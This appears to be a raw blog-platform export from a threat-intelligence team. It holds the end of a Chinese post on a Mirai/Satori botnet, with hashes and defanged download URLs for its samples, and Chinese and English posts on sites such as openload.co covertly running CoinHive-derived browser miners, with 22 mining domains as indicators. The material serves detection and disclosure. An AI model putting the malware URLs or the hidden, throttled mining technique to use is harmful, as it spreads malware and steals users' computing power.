[早先的blog](__GHOST_URL__/early-warning-a-new-mirai-variant-is-spreading-quickly-on-port-23-and-2323-2/)中，我们提及阿根廷来源的扫描流量在23和2323端口上有暴涨。\n\n事实上，在blog发布后的几天里，更多的国家比如埃及、突尼斯、哥伦比亚也发生了类似的攻击。更近一步的跟踪分析发现那次攻击中使用了若干样本和某个特定的漏洞利用。\n\n那次攻击与本次Satori的攻击相比有若干共同点，包括样本的命名和静态特征，部分的C2协议，以及进化中的漏洞利用。因此，我们相信两次攻击是有关联的。\n\n我们还怀疑本次攻击与2017年8月发生在中国的另一次IoT物联网相关的攻击有关系。也许后续我们会发布另外一篇blog详细阐述。\n\n\n\n####IoC\n######本轮攻击的样本\n```\ndf9c48e8bc7e7371b4744a2ef8b83ddf\thxxp://95.211.123.69/b\na7922bce9bb0cf58f305d17ccbc78d98\thxxp://95.211.123.69/fahwrzadws/okiru.mipsel\n37b7c9831334de97c762dff7a1ba7b3f\thxxp://95.211.123.69/fahwrzadws/okiru.arm7\ne1411cc1726afe6fb8d09099c5fb2fa6\thxxp://95.211.123.69/fahwrzadws/okiru.x86\ncd4de0ae80a6f11bca8bec7b590e5832\thxxp://95.211.123.69/fahwrzadws/okiru.x86\n7de55e697cd7e136dbb82b0713a01710\thxxp://95.211.123.69/fahwrzadws/okiru.mips\n797458f9cee3d50e8f651eabc6ba6031\thxxp://95.211.123.69/fahwrzadws/okiru.m68k\n353d36ad621e350f6fce7a48e598662b\thxxp://95.211.123.69/fahwrzadws/okiru.arm\n8db073743319c8fca5d4596a7a8f9931\thxxp://95.211.123.69/fahwrzadws/okiru.sparc\n0a8efeb4cb15c5b599e0d4fb9faba37d\thxxp://95.211.123.69/fahwrzadws/okiru.powerpc\n08d48000a47af6f173eba6bb16265670\thxxp://95.211.123.69/fahwrzadws/okiru.x86_64\ne9038f7f9c957a4e1c6fc8489994add4\thxxp://95.211.123.69/fahwrzadws/okiru.superh\n```\n\n\n####更早期间的关联样本\n```\nc63820d8aff3b18b3ee0eaee4e9d26b0\thxxp://172.93.97.219/okiru.mipsel\nfd2bd0bf25fc306cc391bdcde1fcaeda\thxxp://172.93.97.219/okiru.arm\nba98c78a65ebf17615fee9a7ef34b405\thxxp://172.93.97.219/okiru.arm7\n8a561bda915c89668e611b0ba72b0429\thxxp://172.93.97.219/okiru.m68k\nf8130e86dc0fcdbcfa0d3b2425d3fcbf\thxxp://172.93.97.219/okiru.x86\n7a38ee6ee15bd89d50161b3061b763ea\thxxp://172.93.97.219/okiru.mips\n3f401fc6b8a5847376e4d070505bd9fe\thxxp://172.93.97.219/cryptonite.mips\na69692a2506f2127b23a8c35abe11427\thxxp://165.227.220.202/bins/mips\n\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

78

post

2017-12-29T02:14:12.000Z

63873b9a8b1c1e0007f52f06

openload-co-and-other-sites-are-mining-xmr-with-client-browser-without-coinhive

2018-10-06T09:02:46.000Z

public

published

2017-12-29T14:20:10.000Z

openload.co 等网站绕过 CoinHive 使用客户端浏览器算力挖取门罗币

<!--kg-card-begin: markdown--><p>从2017年12月24日，我们注意到一组网站正在滥用客户终端浏览器的算力在挖矿。攻击者在利用了 CoinHive 的浏览器端挖矿代码基础上，完全绕过 CoinHive 自己运营，避开了 CoinHive 的抽成费用。提供挖矿服务的域名成组出现，共计22个，最早活动时间是2017-11-29。</p> <p>涉及使用上述挖矿服务的网站，包括openload.co，oload.stream，thevideo.me，streamcherry.com，streamango.com。其中，openload.co 网站的Alex排名为136，流行程度非常高，这意味着全球范围内有较多的终端用户算力会被攻击者攫取。</p> <h4 id="5">5个异常域名</h4> <p>dnsmon 是我们的dns异常检测系统。在2017-12-24日，系统报告了一组域名的访问异常，这组域名和对应的访问曲线如下：</p> <pre><code>do69ifsly4.me hzsod71wov.me kho3au7l4z.me npdaqy6x1j.me vg02h8z1ul.me </code></pre> <p><img src="__GHOST_URL__/content/images/2017/12/1_suspicous_domain.png" alt="" loading="lazy"></p> <p>上图中可以注意到域名访问曲线惊人的一致，这意味着不同域名之间，很可能被同源的流量驱动。我们可以利用 dnsmon 进一步探查这些流量来自哪里。如下图所示，不仅前述5个域名之间总是紧密相连，还有一个 streamcherry.com 也总是与之一起出现。</p> <p><img src="__GHOST_URL__/content/images/2017/12/2_streamcherry.com_in_domain_time_sequence.png" alt="" loading="lazy"></p> <h4 id="streamcherrycom">streamcherry.com 与这些异常域名之间的关系</h4> <p>要继续探寻 streamcherry 与上述域名之间的关系，需要我们离开 DNS 世界，寻找更多的数据来支撑。外面的世界很精彩，手段也多种多样，这次我们可以运用来自 Virus Total 的URL数据关联到下面一组URL：</p> <p><img src="__GHOST_URL__/content/images/2017/12/3_streamcherry_in_virustotal_url.png" alt="" loading="lazy"></p> <p>使用浏览器打开这组 URL 时候，可以看到浏览器会去访问 do69ifsly4.me ，前述五个异常域名之一。</p> <p><img src="__GHOST_URL__/content/images/2017/12/3_streamcherry_is_touching_do69ifsly4_dot_me_in_browser_javascript.png" alt="" loading="lazy"></p> <p>进一步的，可以观察到前述全部5个异常域名是对等的，均对外提供了 WebSocket服务。这个关联体现在 hxxps://do69ifsly4.me/v.js 中，在经过多轮次的解码去混淆后，可以找到如下代码片段</p> <p><img src="__GHOST_URL__/content/images/2017/12/4_all_five_abnormal_domains_are_equivlent.png" alt="" loading="lazy"></p> <h4 id="coinhivecoinhive">源自 CoinHive， 走出 CoinHive</h4> <p>等一下......这段代码的结构为什么跟 CoinHive 的挖矿代码看起来这么一致。</p> <p>下图中js代码片段左侧来自streamcherry，右侧来自 CoinHive。在 CoinHive 的上下文中，这段代码是要指定挖矿代码上联的服务器地址。</p> <p><img src="__GHOST_URL__/content/images/2017/12/8_compare_miner_server_config.png" alt="" loading="lazy"></p> <p>有必要为那些还不了解 coinhive.com 的读者插入一段 CoinHive 平台的介绍。CoinHive 提供了利用浏览器端 javascript 算力挖取门罗币的能力，并建议网站站长引用 CoinHive 的代码，这样网站站长就可以利用自身网站客户的浏览器的算力来挖取门罗币。它们的哲学是，有了门罗币的收入，网站站长就不用在自己的网站上塞入广告，这会有助于提高客户的体验。最后，CoinHive 会“公平”的取走 30% 的门罗币收入。</p> <p>由于会使用到客户终端的CPU算力，一般认为网站站长应该明确的提示用户，并在获得用户许可的前提下开始使用挖矿，否则可以认为滥用了客户端算力。在这个例子里，我们查看了 streamcherry 的多个页面，并没有看到提示使用客户端算力的地方。</p> <p>回来继续比较代码。下面这段代码是挖矿对象的创建和启动过程，两边的代码结构也是类似的。同样 streamcherry在左，CoinHive 在右。</p> <p><img src="__GHOST_URL__/content/images/2017/12/6_compare_miner_create_and_start.png" alt="" loading="lazy"></p> <p>继续比较代码。下面这段是挖矿对象的内部实现，两边代码也是类似的，注意这里会涉及几个比较关键的属性列举如下。照例 streamcherry在左，CoinHive 在右。</p> <ul> <li>sitekey: 重要属性，CoinHive 使用这个key来标记不同的网站来源，其意义类似于挖矿矿工的银行账户；</li> <li>throttle: 重要属性，浏览器占用CPU的阈值，调节到合适的阈值时，用户会很难注意到浏览器的算力被滥用，引入这个阈值的本意是在用户体验和网站收入之间取得平衡；</li> <li>autothreads: 相对重要，是否允许自动调节线程数目。</li> </ul> <p><img src="__GHOST_URL__/content/images/2017/12/7_compare_miner_inner_define.png" alt="" loading="lazy"></p> <p>由于 streamcherry 调整CPU阈值，我们在浏览器中打开页面时，并不会感觉到明显的卡顿。为了确认上述代码的确会被执行，我们手工在 javascript 代码中挖矿对象被调用的前后加上弹窗告警。重新运行时，的确两个告警都会被运行，这证实了挖矿对象的确在运行。两个告警和手工调整的javascript代码如下：</p> <p><img src="__GHOST_URL__/content/images/2017/12/9_miner_does_activated.png" alt="" loading="lazy"></p> <p>总体而言，我们认为 streamcherry 从 CoinHive 网站上获取了代码，并且调整了挖矿算力阈值，在未告知客户的情况下，使用客户端浏览器的算力挖掘门罗币。当前的这种方式完全不经过 CoinHive，也绕过了 CoinHive 主张的 30% 的“公平手续费”。</p> <h4 id="alexa136openloadco">使用这组挖矿服务的网站中有 Alexa 排名 136 的 openload.co</h4> <p>正如 CoinHive 使用 sitekey 来标记不同的网站来源，streamcherry 也使用了 sitekey。这促使我们进一步检查还有哪些其他网站也使用相同的代码和机制。</p> <p>我们目前能看到四个网站使用了这些代码，如下。其中值得一提的是 openload.co 在 alexa 上的排名在136位，这让我们觉得这段代码的影响范围较大，值得撰写本篇文章提示社区。</p> <pre><code>openload.co oload.stream thevideo.me streamcherry.com streamango.com </code></pre> <p><img src="__GHOST_URL__/content/images/2017/12/10_related_web_site-3.png" alt="" loading="lazy"></p> <h4 id="22">提供挖矿服务的域名成组出现，共计22个</h4> <p>提供了前述挖矿服务的域名不止前述 5 个，基于 dnsmon 我们进一步寻找到成组出现的22个。详细列表见后面的 IoC 部分。</p> <p>下面的两张图，分别列出每天有哪些域名活跃，以及全部域名的流行程度排名。</p> <p><img src="__GHOST_URL__/content/images/2017/12/11_all_mining_service_domain.png" alt="" loading="lazy"></p> <p><img src="__GHOST_URL__/content/images/2017/12/12_all_mining_service_domain_popularity_rank.png" alt="" loading="lazy"></p> <p>总结这些挖矿服务域名的特点：</p> <ul> <li>最早出现在 2017-11-29；</li> <li>这些域名的访问流行度不算低，并且随着时间推移流行程度持续上升；</li> <li>新域名定期出现，同时老的域名仍然被使用；</li> <li>共计22个域名中的20个域名是5个一组的，2个域名例外。我们追溯了 javascript 代码，确认WebSocket服务列表包含了7个域名；</li> <li>域名看起来有点类似 DGA ，但是跟既往常见恶意代码的 DGA 生成和使用机制并不相同。</li> </ul> <h4 id="ioc">IoC</h4> <p>提供挖矿服务的域名</p> <pre><code>0aqpqdju.me 5vz3cfs0yd.me 6tsbe1zs.me 8jd2lfsq.me aqqgli3vle.bid avualrhg9p.bid c0i8h8ac7e.bid do69ifsly4.me fge9vbrzwt.bid hzsod71wov.me iisl7wpf.me kho3au7l4z.me npdaqy6x1j.me ny7f6goy.bid r8nu86wg.me uebawtz7.me vcfs6ip5h6.bid vg02h8z1ul.me vjcyehtqm9.me vl8c4g7tmo.me xgmc6lu8fs.me zgdfz6h7po.me </code></pre> <p>使用上述挖矿服务的网站</p> <pre><code>openload.co streamcherry.com streamango.com thevideo.me thevideo.me </code></pre> <!--kg-card-end: markdown-->

从2017年12月24日，我们注意到一组网站正在滥用客户终端浏览器的算力在挖矿。攻击者在利用了 CoinHive 的浏览器端挖矿代码基础上，完全绕过 CoinHive 自己运营，避开了 CoinHive 的抽成费用。提供挖矿服务的域名成组出现，共计22个，最早活动时间是2017-11-29。 涉及使用上述挖矿服务的网站，包括openload.co，oload.stream，thevideo.me，streamcherry.com，streamango.com。其中，openload.co 网站的Alex排名为136，流行程度非常高，这意味着全球范围内有较多的终端用户算力会被攻击者攫取。 5个异常域名 dnsmon 是我们的dns异常检测系统。在2017-12-24日，系统报告了一组域名的访问异常，这组域名和对应的访问曲线如下： do69ifsly4.me hzsod71wov.me kho3au7l4z.me npdaqy6x1j.me vg02h8z1ul.me 上图中可以注意到域名访问曲线惊人的一致，这意味着不同域名之间，很可能被同源的流量驱动。我们可以利用 dnsmon 进一步探查这些流量来自哪里。如下图所示，不仅前述5个域名之间总是紧密相连，还有一个 streamcherry.com 也总是与之一起出现。 streamcherry.com 与这些异常域名之间的关系 要继续探寻 streamcherry 与上述域名之间的关系，需要我们离开 DNS 世界，寻找更多的数据来支撑。外面的世界很精彩，手段也多种多样，这次我们可以运用来自 Virus Total 的URL数据关联到下面一组URL： 使用浏览器打开这组 URL 时候，可以看到浏览器会去访问 do69ifsly4.me ，前述五个异常域名之一。 进一步的，可以观察到前述全部5个异常域名是对等的，均对外提供了 WebSocket服务。这个关联体现在 hxxps://do69ifsly4.me/v.js 中，在经过多轮次的解码去混淆后，可以找到如下代码片段 源自 CoinHive， 走出 CoinHive 等一下......这段代码的结构为什么跟 CoinHive 的挖矿代码看起来这么一致。 下图中js代码片段左侧来自streamcherry，右侧来自 CoinHive。在 CoinHive 的上下文中，这段代码是要指定挖矿代码上联的服务器地址。 有必要为那些还不了解 coinhive.com 的读者插入一段 CoinHive 平台的介绍。CoinHive 提供了利用浏览器端 javascript 算力挖取门罗币的能力，并建议网站站长引用 CoinHive 的代码，这样网站站长就可以利用自身网站客户的浏览器的算力来挖取门罗币。它们的哲学是，有了门罗币的收入，网站站长就不用在自己的网站上塞入广告，这会有助于提高客户的体验。最后，CoinHive 会“公平”的取走 30% 的门罗币收入。 由于会使用到客户终端的CPU算力，一般认为网站站长应该明确的提示用户，并在获得用户许可的前提下开始使用挖矿，否则可以认为滥用了客户端算力。在这个例子里，我们查看了 streamcherry 的多个页面，并没有看到提示使用客户端算力的地方。 回来继续比较代码。下面这段代码是挖矿对象的创建和启动过程，两边的代码结构也是类似的。同样 streamcherry在左，CoinHive 在右。 继续比较代码。下面这段是挖矿对象的内部实现，两边代码也是类似的，注意这里会涉及几个比较关键的属性列举如下。照例 streamcherry在左，CoinHive 在右。 * sitekey: 重要属性，CoinHive 使用这个key来标记不同的网站来源，其意义类似于挖矿矿工的银行账户； * throttle: 重要属性，浏览器占用CPU的阈值，调节到合适的阈值时，用户会很难注意到浏览器的算力被滥用，引入这个阈值的本意是在用户体验和网站收入之间取得平衡； * autothreads: 相对重要，是否允许自动调节线程数目。 由于 streamcherry 调整CPU阈值，我们在浏览器中打开页面时，并不会感觉到明显的卡顿。为了确认上述代码的确会被执行，我们手工在 javascript 代码中挖矿对象被调用的前后加上弹窗告警。重新运行时，的确两个告警都会被运行，这证实了挖矿对象的确在运行。两个告警和手工调整的javascript代码如下： 总体而言，我们认为 streamcherry 从 CoinHive 网站上获取了代码，并且调整了挖矿算力阈值，在未告知客户的情况下，使用客户端浏览器的算力挖掘门罗币。当前的这种方式完全不经过 CoinHive，也绕过了 CoinHive 主张的 30% 的“公平手续费”。 使用这组挖矿服务的网站中有 Alexa 排名 136 的 openload.co 正如 CoinHive 使用 sitekey 来标记不同的网站来源，streamcherry 也使用了 sitekey。这促使我们进一步检查还有哪些其他网站也使用相同的代码和机制。 我们目前能看到四个网站使用了这些代码，如下。其中值得一提的是 openload.co 在 alexa 上的排名在136位，这让我们觉得这段代码的影响范围较大，值得撰写本篇文章提示社区。 openload.co oload.stream thevideo.me streamcherry.com streamango.com 提供挖矿服务的域名成组出现，共计22个 提供了前述挖矿服务的域名不止前述 5 个，基于 dnsmon 我们进一步寻找到成组出现的22个。详细列表见后面的 IoC 部分。 下面的两张图，分别列出每天有哪些域名活跃，以及全部域名的流行程度排名。 总结这些挖矿服务域名的特点： * 最早出现在 2017-11-29； * 这些域名的访问流行度不算低，并且随着时间推移流行程度持续上升； * 新域名定期出现，同时老的域名仍然被使用； * 共计22个域名中的20个域名是5个一组的，2个域名例外。我们追溯了 javascript 代码，确认WebSocket服务列表包含了7个域名； * 域名看起来有点类似 DGA ，但是跟既往常见恶意代码的 DGA 生成和使用机制并不相同。 IoC 提供挖矿服务的域名 0aqpqdju.me 5vz3cfs0yd.me 6tsbe1zs.me 8jd2lfsq.me aqqgli3vle.bid avualrhg9p.bid c0i8h8ac7e.bid do69ifsly4.me fge9vbrzwt.bid hzsod71wov.me iisl7wpf.me kho3au7l4z.me npdaqy6x1j.me ny7f6goy.bid r8nu86wg.me uebawtz7.me vcfs6ip5h6.bid vg02h8z1ul.me vjcyehtqm9.me vl8c4g7tmo.me xgmc6lu8fs.me zgdfz6h7po.me 使用上述挖矿服务的网站 openload.co streamcherry.com streamango.com thevideo.me thevideo.me

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"从2017年12月24日，我们注意到一组网站正在滥用客户终端浏览器的算力在挖矿。攻击者在利用了 CoinHive 的浏览器端挖矿代码基础上，完全绕过 CoinHive 自己运营，避开了 CoinHive 的抽成费用。提供挖矿服务的域名成组出现，共计22个，最早活动时间是2017-11-29。\n\n涉及使用上述挖矿服务的网站，包括openload.co，oload.stream，thevideo.me，streamcherry.com，streamango.com。其中，openload.co 网站的Alex排名为136，流行程度非常高，这意味着全球范围内有较多的终端用户算力会被攻击者攫取。\n\n#### 5个异常域名\n\ndnsmon 是我们的dns异常检测系统。在2017-12-24日，系统报告了一组域名的访问异常，这组域名和对应的访问曲线如下：\n\n```\ndo69ifsly4.me\nhzsod71wov.me\nkho3au7l4z.me\nnpdaqy6x1j.me\nvg02h8z1ul.me\n```\n\n\n\n上图中可以注意到域名访问曲线惊人的一致，这意味着不同域名之间，很可能被同源的流量驱动。我们可以利用 dnsmon 进一步探查这些流量来自哪里。如下图所示，不仅前述5个域名之间总是紧密相连，还有一个 streamcherry.com 也总是与之一起出现。\n\n\n\n#### streamcherry.com 与这些异常域名之间的关系\n\n要继续探寻 streamcherry 与上述域名之间的关系，需要我们离开 DNS 世界，寻找更多的数据来支撑。外面的世界很精彩，手段也多种多样，这次我们可以运用来自 Virus Total 的URL数据关联到下面一组URL：\n\n\n\n使用浏览器打开这组 URL 时候，可以看到浏览器会去访问 do69ifsly4.me ，前述五个异常域名之一。\n\n\n\n进一步的，可以观察到前述全部5个异常域名是对等的，均对外提供了 WebSocket服务。这个关联体现在 hxxps://do69ifsly4.me/v.js 中，在经过多轮次的解码去混淆后，可以找到如下代码片段\n\n\n\n\n#### 源自 CoinHive， 走出 CoinHive\n\n\n等一下......这段代码的结构为什么跟 CoinHive 的挖矿代码看起来这么一致。\n\n下图中js代码片段左侧来自streamcherry，右侧来自 CoinHive。在 CoinHive 的上下文中，这段代码是要指定挖矿代码上联的服务器地址。\n\n\n\n有必要为那些还不了解 coinhive.com 的读者插入一段 CoinHive 平台的介绍。CoinHive 提供了利用浏览器端 javascript 算力挖取门罗币的能力，并建议网站站长引用 CoinHive 的代码，这样网站站长就可以利用自身网站客户的浏览器的算力来挖取门罗币。它们的哲学是，有了门罗币的收入，网站站长就不用在自己的网站上塞入广告，这会有助于提高客户的体验。最后，CoinHive 会“公平”的取走 30% 的门罗币收入。\n\n由于会使用到客户终端的CPU算力，一般认为网站站长应该明确的提示用户，并在获得用户许可的前提下开始使用挖矿，否则可以认为滥用了客户端算力。在这个例子里，我们查看了 streamcherry 的多个页面，并没有看到提示使用客户端算力的地方。\n\n回来继续比较代码。下面这段代码是挖矿对象的创建和启动过程，两边的代码结构也是类似的。同样 streamcherry在左，CoinHive 在右。\n\n\n\n继续比较代码。下面这段是挖矿对象的内部实现，两边代码也是类似的，注意这里会涉及几个比较关键的属性列举如下。照例 streamcherry在左，CoinHive 在右。\n\n - sitekey: 重要属性，CoinHive 使用这个key来标记不同的网站来源，其意义类似于挖矿矿工的银行账户；\n - throttle: 重要属性，浏览器占用CPU的阈值，调节到合适的阈值时，用户会很难注意到浏览器的算力被滥用，引入这个阈值的本意是在用户体验和网站收入之间取得平衡；\n - autothreads: 相对重要，是否允许自动调节线程数目。\n\n\n\n由于 streamcherry 调整CPU阈值，我们在浏览器中打开页面时，并不会感觉到明显的卡顿。为了确认上述代码的确会被执行，我们手工在 javascript 代码中挖矿对象被调用的前后加上弹窗告警。重新运行时，的确两个告警都会被运行，这证实了挖矿对象的确在运行。两个告警和手工调整的javascript代码如下：\n\n\n\n总体而言，我们认为 streamcherry 从 CoinHive 网站上获取了代码，并且调整了挖矿算力阈值，在未告知客户的情况下，使用客户端浏览器的算力挖掘门罗币。当前的这种方式完全不经过 CoinHive，也绕过了 CoinHive 主张的 30% 的“公平手续费”。\n\n#### 使用这组挖矿服务的网站中有 Alexa 排名 136 的 openload.co\n\n正如 CoinHive 使用 sitekey 来标记不同的网站来源，streamcherry 也使用了 sitekey。这促使我们进一步检查还有哪些其他网站也使用相同的代码和机制。\n\n我们目前能看到四个网站使用了这些代码，如下。其中值得一提的是 openload.co 在 alexa 上的排名在136位，这让我们觉得这段代码的影响范围较大，值得撰写本篇文章提示社区。\n\n```\nopenload.co\noload.stream\nthevideo.me\nstreamcherry.com\nstreamango.com\n```\n\n\n\n#### 提供挖矿服务的域名成组出现，共计22个\n\n提供了前述挖矿服务的域名不止前述 5 个，基于 dnsmon 我们进一步寻找到成组出现的22个。详细列表见后面的 IoC 部分。\n\n下面的两张图，分别列出每天有哪些域名活跃，以及全部域名的流行程度排名。\n\n\n\n\n\n总结这些挖矿服务域名的特点：\n\n - 最早出现在 2017-11-29；\n - 这些域名的访问流行度不算低，并且随着时间推移流行程度持续上升；\n - 新域名定期出现，同时老的域名仍然被使用；\n - 共计22个域名中的20个域名是5个一组的，2个域名例外。我们追溯了 javascript 代码，确认WebSocket服务列表包含了7个域名；\n - 域名看起来有点类似 DGA ，但是跟既往常见恶意代码的 DGA 生成和使用机制并不相同。\n\n\n#### IoC\n提供挖矿服务的域名\n```\n0aqpqdju.me\n5vz3cfs0yd.me\n6tsbe1zs.me\n8jd2lfsq.me\naqqgli3vle.bid\navualrhg9p.bid\nc0i8h8ac7e.bid\ndo69ifsly4.me\nfge9vbrzwt.bid\nhzsod71wov.me\niisl7wpf.me\nkho3au7l4z.me\nnpdaqy6x1j.me\nny7f6goy.bid\nr8nu86wg.me\nuebawtz7.me\nvcfs6ip5h6.bid\nvg02h8z1ul.me\nvjcyehtqm9.me\nvl8c4g7tmo.me\nxgmc6lu8fs.me\nzgdfz6h7po.me\n```\n\n使用上述挖矿服务的网站\n\n```\nopenload.co\nstreamcherry.com\nstreamango.com\nthevideo.me\nthevideo.me\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

81

post

2017-12-29T14:37:46.000Z

63873b9a8b1c1e0007f52f07

openload-co-and-other-popular-alex-sites-are-abusing-client-browsers-to-mining-cryptocurrency

2018-10-06T09:12:25.000Z

public

published

2017-12-29T16:49:50.000Z

Openload.co and Other Popular Alex Sites Are Abusing Client Browsers to Mining Cryptocurrency

<!--kg-card-begin: markdown--><p>As of December 24, 2017, we noticed a group of Alex top websites abusing client browser's computing power in cryptocurrency mining. The javascript code is based on CoinHive with tricks to completely circumvent CoinHive's own operations to avoid CoinHive's commission fee. A total of 22 domain names were observed providing this kind of mining services, with earliest possible activity began on November 29, 2017.</p> <p>Sites that use the above mining services include some popular websites such as openload.co(Alex ranking 136), oload.stream, thevideo.me, streamcherry.com, and streamango.com, which means the impact could be fairly large.</p> <h4 id="fiveunusualdomainnames">Five Unusual Domain Names</h4> <p>DNSMon is our DNS anomaly detection system. On 2017-12-24, the system spotted a group of domain names, with the corresponding access profiles as follows:</p> <pre><code>do69ifsly4.me hzsod71wov.me kho3au7l4z.me npdaqy6x1j.me vg02h8z1ul.me </code></pre> <p><img src="__GHOST_URL__/content/images/2017/12/1_suspicous_domain.png" alt="" loading="lazy"></p> <p>As you can see in the image above, the amazingly consistent access profiles across all the domain names suggests that traffic between different domains are likely to be driven by some same factor.</p> <p>By using our DNSMon, we could further explore where these traffic comes from. As shown in the picture below, the above five domain names always show up together, interestingly, with an extra domain name always follows up, the streamcherry.com.</p> <p><img src="__GHOST_URL__/content/images/2017/12/2_streamcherry.com_in_domain_time_sequence.png" alt="" loading="lazy"></p> <h4 id="thestreamcherrycomandthesefivedomains">The streamcherry.com and These Five Domains</h4> <p>To continue our exploration on the relationship between streamcherry and those five abnormal domains, we need to leave the DNS land, and look for data in other dimensions. In this case we can simply utilize the URL database from Virus Total to reach following URLs:</p> <p><img src="__GHOST_URL__/content/images/2017/12/3_streamcherry_in_virustotal_url.png" alt="" loading="lazy"></p> <p>When opened by a browser, these URLs will lead to do69ifsly4.me, one of the five abnormal domains.</p> <p><img src="__GHOST_URL__/content/images/2017/12/3_streamcherry_is_touching_do69ifsly4_dot_me_in_browser_javascript.png" alt="" loading="lazy"></p> <p>Further, all these 5 abnormal domains are equivalent, all providing web-socket services. This can be seen in hxxps://do69ifsly4.me/v.js. After several rounds of decoding and de-obfuscation, following JavaScript code fragment is exposed:</p> <p><img src="__GHOST_URL__/content/images/2017/12/4_all_five_abnormal_domains_are_equivlent.png" alt="" loading="lazy"></p> <h4 id="javascriptcodefromcoinhivewithtweaktoavoidthefairpayouts">JavaScript Code From CoinHive with Tweak to Avoid the &quot;Fair Payouts&quot;</h4> <p>Wait a minute ... Why this code looks so familiar ... with Coinhive's XMR mining code ?</p> <p>Let us take a look at the code comparison, Streamcherry on the left and CoinHive on the right, they use the same naming pattern to set up mining service addresses.</p> <p><img src="__GHOST_URL__/content/images/2017/12/8_compare_miner_server_config.png" alt="" loading="lazy"></p> <p>From the second code comparison we can see the function names of creating and starting a mining instance are also the same.</p> <p><img src="__GHOST_URL__/content/images/2017/12/6_compare_miner_create_and_start.png" alt="" loading="lazy"></p> <p>Now let's move on to see more code comparisons:</p> <ul> <li>site-key: a key configuration, used to mark different source sites, can be treated as miners' bank account；</li> <li>throttle: another key configuration, used to control the browsers' CPU usage threshold. If adjusted to an appropriate threshold, users will be hard to notice any changes. This threshold is intended to be used to balance the end users' experience and the site's revenue;</li> </ul> <p><img src="__GHOST_URL__/content/images/2017/12/7_compare_miner_inner_define.png" alt="" loading="lazy"></p> <p>Since streamcherry has already throttles the CPU usage, end users will not notice significant change when open the website. To confirm that the mining code will be executed we manually modified the JavaScript code. The two alerts in the following figures confirm that the mining object is indeed running:</p> <p><img src="__GHOST_URL__/content/images/2017/12/9_miner_does_activated.png" alt="" loading="lazy"></p> <p>Basically, we think streamcherry obtained the mining code from CoinHive, tweaks the computation threshold, and is abusing the end user browsers to mine XMR. In this way, they can bypass CoinHive completely and save CoinHive's 30% &quot;fair payout&quot;.</p> <h4 id="openloadcoandothersareusingtheseminingservicedomains">openload.co and others Are Using These Mining Service Domains</h4> <p>Just like CoinHive, streamcherry also uses site-keys to differentiate different source sites. This inspires us to hunt for more websites using the same code.</p> <p>By now we have seen five websites using these codes.</p> <pre><code>openload.co oload.stream thevideo.me streamcherry.com streamango.com </code></pre> <p><img src="__GHOST_URL__/content/images/2017/12/10_related_web_site-3.png" alt="" loading="lazy"></p> <h4 id="totally22miningservicedomainsappearingroups">Totally 22 Mining Service Domains Appear in Groups</h4> <p>Besides from the above 5 mining service domains, we further discover 17 mining service domains from our DNSMon system, which emerged in groups.</p> <p>The following two figures show the number of daily active domains and their popular ranks.</p> <p><img src="__GHOST_URL__/content/images/2017/12/11_all_mining_service_domain.png" alt="" loading="lazy"></p> <p><img src="__GHOST_URL__/content/images/2017/12/12_all_mining_service_domain_popularity_rank.png" alt="" loading="lazy"></p> <p>We conclude these mining service domains as follow:</p> <ul> <li>first appeared on 2017-11-29</li> <li>have quite a few visiting volume and become more and more popular as time goes by</li> <li>new domains appear periodically, while old domains are still active</li> <li>22 domains in total and 5 domains in each groups in most case. (For the 2 domains as exception, the corresponding JavaScript code contains 7 domains)</li> <li>While these domains looks like DGA, their generating mechanism and usage are different from the common malware.</li> </ul> <h4 id="ioc">IoC</h4> <p>Mining Service Domains</p> <pre><code>0aqpqdju.me 5vz3cfs0yd.me 6tsbe1zs.me 8jd2lfsq.me aqqgli3vle.bid avualrhg9p.bid c0i8h8ac7e.bid do69ifsly4.me fge9vbrzwt.bid hzsod71wov.me iisl7wpf.me kho3au7l4z.me npdaqy6x1j.me ny7f6goy.bid r8nu86wg.me uebawtz7.me vcfs6ip5h6.bid vg02h8z1ul.me vjcyehtqm9.me vl8c4g7tmo.me xgmc6lu8fs.me zgdfz6h7po.me </code></pre> <p>Mining Service Consumers</p> <pre><code>openload.co streamcherry.com streamango.com thevideo.me thevideo.me </code></pre> <!--kg-card-end: markdown-->

As of December 24, 2017, we noticed a group of Alex top websites abusing client browser's computing power in cryptocurrency mining. The javascript code is based on CoinHive with tricks to completely circumvent CoinHive's own operations to avoid CoinHive's commission fee. A total of 22 domain names were observed providing this kind of mining services, with earliest possible activity began on November 29, 2017. Sites that use the above mining services include some popular websites such as openload.co(Alex ranking 136), oload.stream, thevideo.me, streamcherry.com, and streamango.com, which means the impact could be fairly large. Five Unusual Domain Names DNSMon is our DNS anomaly detection system. On 2017-12-24, the system spotted a group of domain names, with the corresponding access profiles as follows: do69ifsly4.me hzsod71wov.me kho3au7l4z.me npdaqy6x1j.me vg02h8z1ul.me As you can see in the image above, the amazingly consistent access profiles across all the domain names suggests that traffic between different domains are likely to be driven by some same factor. By using our DNSMon, we could further explore where these traffic comes from. As shown in the picture below, the above five domain names always show up together, interestingly, with an extra domain name always follows up, the streamcherry.com. The streamcherry.com and These Five Domains To continue our exploration on the relationship between streamcherry and those five abnormal domains, we need to leave the DNS land, and look for data in other dimensions. In this case we can simply utilize the URL database from Virus Total to reach following URLs: When opened by a browser, these URLs will lead to do69ifsly4.me, one of the five abnormal domains. Further, all these 5 abnormal domains are equivalent, all providing web-socket services. This can be seen in hxxps://do69ifsly4.me/v.js. After several rounds of decoding and de-obfuscation, following JavaScript code fragment is exposed: JavaScript Code From CoinHive with Tweak to Avoid the "Fair Payouts" Wait a minute ... Why this code looks so familiar ... with Coinhive's XMR mining code ? Let us take a look at the code comparison, Streamcherry on the left and CoinHive on the right, they use the same naming pattern to set up mining service addresses. From the second code comparison we can see the function names of creating and starting a mining instance are also the same. Now let's move on to see more code comparisons: * site-key: a key configuration, used to mark different source sites, can be treated as miners' bank account； * throttle: another key configuration, used to control the browsers' CPU usage threshold. If adjusted to an appropriate threshold, users will be hard to notice any changes. This threshold is intended to be used to balance the end users' experience and the site's revenue; Since streamcherry has already throttles the CPU usage, end users will not notice significant change when open the website. To confirm that the mining code will be executed we manually modified the JavaScript code. The two alerts in the following figures confirm that the mining object is indeed running: Basically, we think streamcherry obtained the mining code from CoinHive, tweaks the computation threshold, and is abusing the end user browsers to mine XMR. In this way, they can bypass CoinHive completely and save CoinHive's 30% "fair payout". openload.co and others Are Using These Mining Service Domains Just like CoinHive, streamcherry also uses site-keys to differentiate different source sites. This inspires us to hunt for more websites using the same code. By now we have seen five websites using these 